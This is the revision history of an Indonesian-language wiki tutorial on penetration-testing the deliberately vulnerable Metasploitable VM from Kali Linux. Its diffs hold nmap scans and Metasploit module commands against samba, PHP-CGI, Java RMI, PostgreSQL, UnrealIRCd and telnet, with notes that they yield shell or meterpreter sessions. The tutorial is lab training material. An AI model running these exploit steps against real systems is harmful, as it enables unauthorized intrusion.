Metasploitable: pentest - Revision history

Onnowpurbo: /* attack ssh */

2018-12-07T21:46:46Z

attack ssh

2018-12-07T21:25:58Z

2018-12-07T21:11:04Z

Remote login dari kali linux

2018-12-07T21:08:46Z

nmap

2018-12-07T21:00:14Z

2018-12-01T01:05:03Z

attack file sharing

2018-12-01T01:03:20Z

attack web

2018-12-01T00:59:40Z

attack ircd

2018-12-01T00:57:57Z

attack postgres

2018-12-01T00:56:42Z

attack telnet

@@ Line 67: / Line 67: @@
 ==attack ssh==
-Buat file
+Buat file di Kali Linux
   /root/Desktop/user.txt

@@ Line 14: / Line 14: @@
 ==Download & Install==
-Pertama-tama Anda harus mengunduh metasploit dari tautan di atas. Setelah pengunduhan selesai, buka VirtualBox dan klik open mesin virtual.
+Pertama-tama Anda harus mengunduh metasploit dari tautan berikut,
 Setelah mengklik OK, metasploitable akan terbuka di mesin virtual dan menjalankannya cukup klik pada Power pada mesin virtual ini dan itu akan menjalankan metasploitable anda.

@@ Line 88: / Line 88: @@
 Anda akan dapat username & password yang bisa di akses menggunakan ssh
-==Remote login dari kali linux==
+===Remote login dari kali linux===
 misalnya IP metasploitable 192.168.122.134
@@ Line 97: / Line 97: @@
   msfadmin
 ==attack telnet==

← Older revision		Revision as of 21:08, 7 December 2018
Line 39:		Line 39:
	Scan sederhana dapat menggunakan nmap		Scan sederhana dapat menggunakan nmap

−	~~nmap -sV 192.168.122.134~~
	nmap -sS -v -O 192.168.122.134		nmap -sS -v -O 192.168.122.134

← Older revision		Revision as of 21:00, 7 December 2018
Line 3:		Line 3:


−	Metasploitable adalah versi rentan Linux Ubuntu yang ~~secara sukarela~~ dirancang untuk menguji tool keamanan dan mendemonstrasikan kerentanan umum berbasis mesin virtual yang membantu kita melakukan pelatihan keamanan, menguji alat keamanan, dan mempraktekkan teknik pengujian penetrasi umum. VM akan berjalan pada produk VMware terbaru dan teknologi visualisasi lainnya seperti VirtualBox. Anda dapat men-download metasploitable dari	+	Metasploitable adalah versi rentan Linux Ubuntu yang sengaja dirancang untuk menguji tool keamanan dan mendemonstrasikan kerentanan umum berbasis mesin virtual yang membantu kita melakukan pelatihan keamanan, menguji alat keamanan, dan mempraktekkan teknik pengujian penetrasi umum. VM akan berjalan pada produk VMware terbaru dan teknologi visualisasi lainnya seperti VirtualBox. Anda dapat men-download metasploitable dari

	* https://www.vulnhub.com/entry/metasploitable-2,29/		* https://www.vulnhub.com/entry/metasploitable-2,29/

@@ Line 129: / Line 129: @@
 ==attack file sharing==
-Next we will try to exploit the samba service that is going on the port number 139. For that we will use the following exploit:
+Serangan ke file sharing di port 139.
   use exploit/multi/samba/usermap_script
@@ Line 136: / Line 137: @@
   exploit
-The execution of this will take you the shell session of metasploit that means you will reach the shell of metasploit.
+Ini akan masuk ke shell metasploit lagi. Selanjutnya, ketik,
   use exploit/multi/misc/java_rmi_server
@@ Line 145: / Line 144: @@
   exploit
-Again, after you hit enter button on your keyboard you will have a meterpreter session.
+Ketik "ENTER" kita akan masuk ke sesi meterpreter
 ==attack postgres==

@@ Line 117: / Line 117: @@
 ==attack web==
-Now we will try to exploit the port number 80 on which http services run. For this too there is a pre-installed exploit in metasploit and to exercise the said exploit type:
+Contoh serangan metasploit ke web di port 80.
   use exploit/multi/http/php_cgi_arg_injection
@@ Line 124: / Line 125: @@
   exploit
-After the execution you will enter a meterpreter session of metasploitable as shown.
+Anda akan masuk ke sesi meterpreter dari metasploitable
 ==attack file sharing==

@@ Line 159: / Line 159: @@
 ==attack ircd==
-The exploit that use is related to unreal ircd and to search its exploit type :
+Masuk ke metasploit di kali linux, search Unreal ircd exploit
   search Unreal ircd
-And the result will be exploits which will help you to attack the victim. As you can see there are three exploits and we will use the latest one.
+Ketik,
   use exploit/unix/irc/unreal_ircd_3281_backdoor
@@ Line 172: / Line 170: @@
   exploit
-And when you will hit enter you will obtain a shell session meaning you will enter the shell of the metasploitable.
+Jika berhasil, tekan "ENTER", kita akan masuk ke shell metasploitable.
 ==Referensi==

@@ Line 148: / Line 148: @@
 ==attack postgres==
+Masuk ke metasploit di kali linux, ketik
   use exploit/linux/postgres/postgres_payload
-  set rhost 192.168.1.106
+  set rhost 192.168.122.134
   set rport 5432
   exploit
-Once the command is executed you will enter the meterpreter session as shown above.
+Jika berhasil, anda akan masuk ke sesi meterpreter
 ==attack ircd==

@@ Line 102: / Line 102: @@
 ==attack telnet==
-Jalankan metasploit
+Jalankan metasploit di kali linux, ketik
   use auxiliary/scanner/telnet/telnet_login